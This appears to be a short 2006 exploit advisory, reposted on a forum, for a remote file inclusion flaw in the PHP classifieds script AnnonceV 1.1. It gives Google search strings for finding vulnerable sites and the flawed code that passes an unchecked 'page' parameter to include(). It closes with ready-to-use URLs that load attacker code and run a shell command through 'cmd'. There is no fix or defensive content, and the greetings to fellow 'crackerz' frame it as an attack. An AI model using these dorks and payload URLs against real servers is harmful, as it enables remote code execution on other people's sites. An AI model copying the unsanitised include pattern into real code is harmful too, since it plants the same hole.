* Kurdish Security Advisory

* Original Adv : http://kurdishsecurity.blogspot.com/2006/09/kurdish-security-26-annoncev
-news.html

* Script : AnnonceV

* Site : http://www.comscripts.com/scripts/php.annoncesv.1895.html

* Version : 1.1

* Risk : High

* Class : Remote

* Contact : botan (at) linuxmail (dot) org [email concealed] and irc.gigachat.net #kurdhack

* Nice crackerz sh00tz:milex,b3g0k,azad,fearless,darki,qawiste and other my friends

------------------------------------------------------------------------
-----------

Google w0rkez :P : "AnnonceV1.1"

: "/admin/annonce.php"

: "/annonce.php"

lol now code :]

$page=$_GET['page'];

if(substr($page, -3) == 'txt')//pour les news

{

include("newsdisplay.php");

}

else //pour toutes les autres pages

{

include($page.".php");

}

?>

http://www.site.com/annonce.php?page=yourcode.txt?&cmd=id

http://www.site.com/admin/annonce.php?page=yourcode.txt?&cmd=id

[ reply ]